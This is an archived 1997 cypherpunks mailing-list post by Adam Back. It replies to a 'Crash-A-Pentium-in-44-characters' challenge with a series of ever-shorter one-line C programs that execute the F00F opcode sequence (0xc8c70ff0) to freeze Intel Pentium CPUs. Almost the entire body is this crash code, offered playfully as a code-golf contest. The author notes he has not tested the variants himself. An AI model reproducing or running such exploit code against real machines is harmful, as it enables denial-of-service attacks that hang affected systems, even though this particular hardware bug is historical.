1997-11-14 - smaller f00f.c

Header Data

From: Adam Back <aba@dcs.ex.ac.uk>
To: cypherpunks@cyberpass.net
Message Hash: a35626ffd755f46813473b3caf4a409c58977f25b154f92fa9095b86e02a7dce
Message ID: <199711141623.QAA03067@server.test.net>
Reply To: <ee060f3a0e4bf55a83116f8e795b2216@anon.efga.org>
UTC Datetime: 1997-11-14 16:39:01 UTC
Raw Date: Sat, 15 Nov 1997 00:39:01 +0800

Raw message

From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sat, 15 Nov 1997 00:39:01 +0800
To: cypherpunks@cyberpass.net
Subject: smaller f00f.c
In-Reply-To: <ee060f3a0e4bf55a83116f8e795b2216@anon.efga.org>
Message-ID: <199711141623.QAA03067@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




f00fie writes:
> In the grand tradition of RSA-in-3-lines-of-perl, we present
> Crash-A-Pentium-in-44-characters:
> 
>    main(){int i=0xc8c70ff0;void (*f)()=&i;f();}

Hey, challenge is on:

main(){int i=0xc8c70ff0;void (*f)()=&i;f();} /* f00fies 44 char */
main(){((int(*)())"\360\017\307\310")();}
main(){int i=0xc8c70ff0,(*f)()=&i;f();}
main(i){int(*f)()=&i;i=0xc8c70ff0;f();}
main(i){i=0xc8c70ff0;((int(*)())&i)();}
(*f)();main(i){f=&i;i=0xc8c70ff0;f();}
(*f)()="\360\017\307\310";main(){f();}       /* 38 chars */

Compiled with gcc.

(Note that I haven't tested them because I have an AMD k5 which
doesn't suffer from this bug -- perhaps someone with an Intel pentium
could try them).

Adam






Thread